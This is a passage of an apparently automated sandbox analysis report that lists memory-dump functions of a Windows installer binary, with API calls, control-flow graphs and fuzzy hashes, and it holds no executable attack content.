                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID:
                              • String ID: K?Jo$K?Jo$`Rlx$7eO
                              • API String ID: 0-174837320
                              • Opcode ID: 5aef02fbee5c27f02c1e0d877ded4b4871349d5d911508144ba09c3297f603e9
                              • Instruction ID: c4e52146f27d5714f9be8082b4b6389d04470d1dc3f72666b3afd46dba87f270
                              • Opcode Fuzzy Hash: 5aef02fbee5c27f02c1e0d877ded4b4871349d5d911508144ba09c3297f603e9
                              • Instruction Fuzzy Hash: DA4258746097418FC714DF28D09065EBBE1AF89318F288E9EF59987B21D734D889CB53
                              Function 6C8F4200 Relevance: 9.0, APIs: 3, Strings: 1, Instructions: 2005COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID:
                              • String ID: ;T55
                              • API String ID: 0-2572755013
                              • Opcode ID: 2de9a72d1d5b2cd8c84a3a9f2868dd87181abc8df3ef6775df5f9039a4245a04
                              • Instruction ID: 1d4508f77c44cbc56fd24fe4050674f1e035e5623cd010b189f84671b5bc8bcc
                              • Opcode Fuzzy Hash: 2de9a72d1d5b2cd8c84a3a9f2868dd87181abc8df3ef6775df5f9039a4245a04
                              • Instruction Fuzzy Hash: FB03B231745B018FC728CF28C8D0696B7E3AFD5328719CB6DC0AA4BA95DB74B54ACB50
                              Function 6CA75560 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62processCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 7579 6ca75560-6ca755e7 CreateProcessA 7580 6ca7563a-6ca75643 7579->7580 7581 6ca75645-6ca7564a 7580->7581 7582 6ca75660-6ca7567b 7580->7582 7583 6ca755f0-6ca75632 WaitForSingleObject CloseHandle * 2 7581->7583 7584 6ca7564c-6ca75651 7581->7584 7582->7580 7583->7580 7584->7580 7585 6ca75653-6ca75688 7584->7585
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: CreateProcess
                              • String ID: D
                              • API String ID: 963392458-2746444292
                              • Opcode ID: 8f2ebb36e5dbde895a999e99406e66c9c497a59fce08a6c2722487615b7567ea
                              • Instruction ID: db50655716d30f0ecd53a35702cb77968f4848f624eb7d90be8268273d4ad3c4
                              • Opcode Fuzzy Hash: 8f2ebb36e5dbde895a999e99406e66c9c497a59fce08a6c2722487615b7567ea
                              • Instruction Fuzzy Hash: C931D0B08093808FD750DF28D19866ABBF0AB9A318F545A1DF89996250E7B4D588CF53
                              Function 6CA8C1CE Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 177fileCOMMONLIBRARYCODE
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 7587 6ca8c1ce-6ca8c1ea 7588 6ca8c3a9 7587->7588 7589 6ca8c1f0-6ca8c1f2 7587->7589 7590 6ca8c3ab-6ca8c3af 7588->7590 7591 6ca8c214-6ca8c235 7589->7591 7592 6ca8c1f4-6ca8c207 call 6ca7ff4f call 6ca7ff3c call 6ca80690 7589->7592 7594 6ca8c23c-6ca8c242 7591->7594 7595 6ca8c237-6ca8c23a 7591->7595 7609 6ca8c20c-6ca8c20f 7592->7609 7594->7592 7597 6ca8c244-6ca8c249 7594->7597 7595->7594 7595->7597 7598 6ca8c25a-6ca8c26b call 6ca8c3b0 7597->7598 7599 6ca8c24b-6ca8c257 call 6ca8b1d9 7597->7599 7607 6ca8c2ac-6ca8c2be 7598->7607 7608 6ca8c26d-6ca8c26f 7598->7608 7599->7598 7610 6ca8c2c0-6ca8c2c9 7607->7610 7611 6ca8c305-6ca8c327 WriteFile 7607->7611 7612 6ca8c271-6ca8c279 7608->7612 7613 6ca8c296-6ca8c2a2 call 6ca8c421 7608->7613 7609->7590 7614 6ca8c2cb-6ca8c2ce 7610->7614 7615 6ca8c2f5-6ca8c303 call 6ca8c833 7610->7615 7618 6ca8c329-6ca8c32f GetLastError 7611->7618 7619 6ca8c332 7611->7619 7616 6ca8c33b-6ca8c33e 7612->7616 7617 6ca8c27f-6ca8c28c call 6ca8c7cb 7612->7617 7626 6ca8c2a7-6ca8c2aa 7613->7626 7622 6ca8c2d0-6ca8c2d3 7614->7622 7623 6ca8c2e5-6ca8c2f3 call 6ca8c9f7 7614->7623 7615->7626 7621 6ca8c341-6ca8c346 7616->7621 7634 6ca8c28f-6ca8c291 7617->7634 7618->7619 7627 6ca8c335-6ca8c33a 7619->7627 7628 6ca8c348-6ca8c34d 7621->7628 7629 6ca8c3a4-6ca8c3a7 7621->7629 7622->7621 7630 6ca8c2d5-6ca8c2e3 call 6ca8c90e 7622->7630 7623->7626 7626->7634 7627->7616 7635 6ca8c379-6ca8c385 7628->7635 7636 6ca8c34f-6ca8c354 7628->7636 7629->7590 7630->7626 7634->7627 7642 6ca8c38c-6ca8c39f call 6ca7ff3c call 6ca7ff4f 7635->7642 7643 6ca8c387-6ca8c38a 7635->7643 7639 6ca8c36d-6ca8c374 call 6ca7ff62 7636->7639 7640 6ca8c356-6ca8c368 call 6ca7ff3c call 6ca7ff4f 7636->7640 7639->7609 7640->7609 7642->7609 7643->7588 7643->7642
                              APIs
                                • Part of subcall function 6CA8C421: GetConsoleCP.KERNEL32(?,6CA8B640,?), ref: 6CA8C469
                              • WriteFile.KERNEL32(?,?,6CA94C5C,00000000,00000000,?,00000000,00000000,6CA96026,00000000,00000000,?,00000000,6CA8B640,6CA94C5C,00000000), ref: 6CA8C31F
                              • GetLastError.KERNEL32(?,?,?,?,?,?,?,6CA94C5C,6CA8B640,00000000,?,?,?,?,00000000,?), ref: 6CA8C329
                              • __dosmaperr.LIBCMT ref: 6CA8C36E
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: ConsoleErrorFileLastWrite__dosmaperr
                              • String ID: 8Q
                              • API String ID: 251514795-4022487301
                              • Opcode ID: 137767da43a840728d973518d25ce76d8a29fd15a54da603763daab772da1b82
                              • Instruction ID: 1dcb0aaabe7dc08705119766cd4e2316cabdb0db350f3df1a1d44d23eedca3ee
                              • Opcode Fuzzy Hash: 137767da43a840728d973518d25ce76d8a29fd15a54da603763daab772da1b82
                              • Instruction Fuzzy Hash: 9D51A871A06109AFDB01AFE4C940BEEB779FF4631CF140255E510A7A91E77099898F61
                              Function 6CA76100 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 142COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 7654 6ca76100-6ca7610c 7655 6ca7610e-6ca76119 7654->7655 7656 6ca7614d 7654->7656 7658 6ca7612f-6ca7613c call 6c9401f0 call 6ca81088 7655->7658 7659 6ca7611b-6ca7612d 7655->7659 7657 6ca7614f-6ca761c7 7656->7657 7660 6ca761f3-6ca761f9 7657->7660 7661 6ca761c9-6ca761f1 7657->7661 7668 6ca76141-6ca7614b 7658->7668 7659->7658 7661->7660 7663 6ca761fa-6ca762b9 call 6c942250 call 6c942340 call 6ca798e9 call 6c93e010 call 6ca775f8 7661->7663 7668->7657
                              APIs
                              • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 6CA762A1
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: Ios_base_dtorstd::ios_base::_
                              • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                              • API String ID: 323602529-1866435925
                              • Opcode ID: 7ee5a59f57ebf8aa902377b23f7f0114a54a6251927d5ad05509798f3309a3c3
                              • Instruction ID: 0b3c9801f4c029d08da759fc843a4d921136b19411d6ec70197c750bdbd380db
                              • Opcode Fuzzy Hash: 7ee5a59f57ebf8aa902377b23f7f0114a54a6251927d5ad05509798f3309a3c3
                              • Instruction Fuzzy Hash: 8E5143B5900B408FD725CF29C585B97BBF1BB58308F048A2DD8868BB91D775B949CFA0
                              Function 6CA8BE95 Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 7699 6ca8be95-6ca8bea9 call 6ca91b12 7702 6ca8beab-6ca8bead 7699->7702 7703 6ca8beaf-6ca8beb7 7699->7703 7704 6ca8befd-6ca8bf1d call 6ca91c8f 7702->7704 7705 6ca8beb9-6ca8bec0 7703->7705 7706 6ca8bec2-6ca8bec5 7703->7706 7716 6ca8bf2b 7704->7716 7717 6ca8bf1f-6ca8bf29 call 6ca7ff62 7704->7717 7705->7706 7708 6ca8becd-6ca8bee1 call 6ca91b12 * 2 7705->7708 7709 6ca8bee3-6ca8bef3 call 6ca91b12 CloseHandle 7706->7709 7710 6ca8bec7-6ca8becb 7706->7710 7708->7702 7708->7709 7709->7702 7719 6ca8bef5-6ca8befb GetLastError 7709->7719 7710->7708 7710->7709 7721 6ca8bf2d-6ca8bf30 7716->7721 7717->7721 7719->7704
                              APIs
                              • CloseHandle.KERNEL32(00000000,?,00000000,?,6CA947CF), ref: 6CA8BEEB
                              • GetLastError.KERNEL32(?,00000000,?,6CA947CF), ref: 6CA8BEF5
                              • __dosmaperr.LIBCMT ref: 6CA8BF20
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: CloseErrorHandleLast__dosmaperr
                              • String ID:
                              • API String ID: 2583163307-0
                              • Opcode ID: b5d283756b8b00480364e45096e32a4267be833b3600550553ac1861fb6fd6be
                              • Instruction ID: fd36e4cb5b8551a5602d8d8f2f06b410c69cc4d6f25d2386191cfee6a7e4f651
                              • Opcode Fuzzy Hash: b5d283756b8b00480364e45096e32a4267be833b3600550553ac1861fb6fd6be
                              • Instruction Fuzzy Hash: 7501083371A5241BC2155679BD55BBE27BD4B8373CF3E4389EA148BAD1DF60C8C94260
                              Function 6CA8110C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 7944 6ca8110c-6ca81117 7945 6ca81119-6ca8112c call 6ca7ff3c call 6ca80690 7944->7945 7946 6ca8112e-6ca8113b 7944->7946 7957 6ca81180-6ca81182 7945->7957 7947 6ca8113d-6ca81152 call 6ca81229 call 6ca88cae call 6ca8a1d0 call 6ca8be08 7946->7947 7948 6ca81176-6ca8117f call 6ca8b3e5 7946->7948 7963 6ca81157-6ca8115c 7947->7963 7948->7957 7964 6ca8115e-6ca81161 7963->7964 7965 6ca81163-6ca81167 7963->7965 7964->7948 7965->7948 7966 6ca81169-6ca81175 call 6ca84d2b 7965->7966 7966->7948
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID:
                              • String ID: 8Q
                              • API String ID: 0-4022487301
                              • Opcode ID: 0eceabb69cc212cdc16fe4ea4eed4d534fb07063be66ce5869ee3001f537518c
                              • Instruction ID: cdfa82872d30bfc8740a7d05d882293cb869e2ffc6cafd8ec6d8a0d5061dd281
                              • Opcode Fuzzy Hash: 0eceabb69cc212cdc16fe4ea4eed4d534fb07063be66ce5869ee3001f537518c
                              • Instruction Fuzzy Hash: 1BF081729036145BD6211A79EE00BEA32E89F82378F154719EA3492FD0DB78D48EC7E1
                              Function 6CA75ED0 Relevance: 3.1, APIs: 2, Instructions: 108COMMON
                              Download Yara Rule
                              APIs
                              • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 6CA76024
                              • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 6CA76064
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: Ios_base_dtorstd::ios_base::_
                              • String ID:
                              • API String ID: 323602529-0
                              • Opcode ID: af4fdb1dec46167c98dbed41d1bed078ff4d75378a124331f781ce9637d6b86f
                              • Instruction ID: 10ffd1d8c4afec0047e368feb92d85f2cb1e2f991fff2620c8d1aefcdf60ca4e
                              • Opcode Fuzzy Hash: af4fdb1dec46167c98dbed41d1bed078ff4d75378a124331f781ce9637d6b86f
                              • Instruction Fuzzy Hash: 7E513775501B00DBD735CF25C985BD6BBF4BB04718F448A1CE4AA8BB91DB30B588CB91
                              Function 6CA7F4AF Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON
                              Download Yara Rule
                              APIs
                              • GetLastError.KERNEL32(6CAA6DF0,0000000C), ref: 6CA7F4C2
                              • ExitThread.KERNEL32 ref: 6CA7F4C9
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: ErrorExitLastThread
                              • String ID:
                              • API String ID: 1611280651-0
                              • Opcode ID: 5517f042c6ab08f7216d4d3a7737706816b967e67f28ace4a3d532427fca67eb
                              • Instruction ID: b5a974ccacd694dec1df06ad1f16c52a5316c52a1a2358a8012288ce04ea5d33
                              • Opcode Fuzzy Hash: 5517f042c6ab08f7216d4d3a7737706816b967e67f28ace4a3d532427fca67eb
                              • Instruction Fuzzy Hash: 3FF0AF76A01305AFDB159FB0C908AAE3B74FF01314F244159F41597B91DF345A89CB60
                              Function 6CA8B4E2 Relevance: 1.6, APIs: 1, Instructions: 59COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: __wsopen_s
                              • String ID:
                              • API String ID: 3347428461-0
                              • Opcode ID: 0bee7d6d43ee8dd7c7a5bfa98480910d41bddb7ea544474824abc139bfd8ddb5
                              • Instruction ID: b03d33a79afbc7235a7d6a6cc053bf37bf1dc616e4c743c3467f2bcdce6ef424
                              • Opcode Fuzzy Hash: 0bee7d6d43ee8dd7c7a5bfa98480910d41bddb7ea544474824abc139bfd8ddb5
                              • Instruction Fuzzy Hash: 0C113671A0420AAFCF05CF59E9419DB7BF8EF48318F154169F809AB311D771E925CBA4
                              Function 6CA9456E Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: _free
                              • String ID:
                              • API String ID: 269201875-0
                              • Opcode ID: be7da6dea50fa55462c2689bd82912a63b2abf68e9cf5535eb42c5cf9c623313
                              • Instruction ID: 97e3649da48c164f7b8a4afee1e827d1d3294859cd4983a7d901ec23c9b64081
                              • Opcode Fuzzy Hash: be7da6dea50fa55462c2689bd82912a63b2abf68e9cf5535eb42c5cf9c623313
                              • Instruction Fuzzy Hash: 7101FF72C1115DAFCF019FE88D019EE7FF5BF08214F144565FA24E26A0E7318AA9DB91
                              Function 6CA949C7 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • CreateFileW.KERNEL32(00000000,00000000,?,6CA94685,?,?,00000000,?,6CA94685,00000000,0000000C), ref: 6CA949E4
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: CreateFile
                              • String ID:
                              • API String ID: 823142352-0
                              • Opcode ID: 3f52782b09536fcdeebbfa4cd9294d9e3d6ec010fa823471ad9d46fd6815f282
                              • Instruction ID: bdd066cf21c9926f870ec81b8553c2736d17abf729db5d9b9b39665b817dd8be
                              • Opcode Fuzzy Hash: 3f52782b09536fcdeebbfa4cd9294d9e3d6ec010fa823471ad9d46fd6815f282
                              • Instruction Fuzzy Hash: D0D06C3210020EBBDF028E84DC06EDA3BAAFB48714F028000BA1896020C732E862AB90
                              Function 6C947CB0 Relevance: 1.5, APIs: 1, Instructions: 1COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: a80223a001130716628e74e8086c402ab21fb308a8a87af2905342d4276af0b1
                              • Instruction ID: 24002aba542e5bb03ab633dd8a9d610599b58f1725745799a1f726b50c4c5af3
                              • Opcode Fuzzy Hash: a80223a001130716628e74e8086c402ab21fb308a8a87af2905342d4276af0b1
                              • Instruction Fuzzy Hash:

                              Non-executed Functions

                              Function 6CB084AC Relevance: 8.7, APIs: 1, Strings: 3, Instructions: 1656COMMON
                              Download Yara Rule
                              APIs
                              • __EH_prolog.LIBCMT ref: 6CB084B1
                                • Part of subcall function 6CB0993B: __EH_prolog.LIBCMT ref: 6CB09940
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CAA8000, based on PE: true
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: H_prolog
                              • String ID: 1$`)K$h)K
                              • API String ID: 3519838083-3935664338
                              • Opcode ID: fb81dbfa73f61bd15ec69b15b7f2714c80bc06e5f8e59c27703e0bd61042d5ed
                              • Instruction ID: a2e14b6d4860e452e9328197413cee8c48a0aa7be3333e784e409005432c8233
                              • Opcode Fuzzy Hash: fb81dbfa73f61bd15ec69b15b7f2714c80bc06e5f8e59c27703e0bd61042d5ed
                              • Instruction Fuzzy Hash: C3F26C70E04288DFDB11CBA8C988BDDBBB5EF49308F244499D449AB791DB719E85CF11
                              Function 6CAFAEEF Relevance: 8.3, APIs: 1, Strings: 2, Instructions: 3058COMMON
                              Download Yara Rule
                              APIs
                              • __EH_prolog.LIBCMT ref: 6CAFAEF4
                                • Part of subcall function 6CAFE622: __EH_prolog.LIBCMT ref: 6CAFE627
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CAA8000, based on PE: true
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
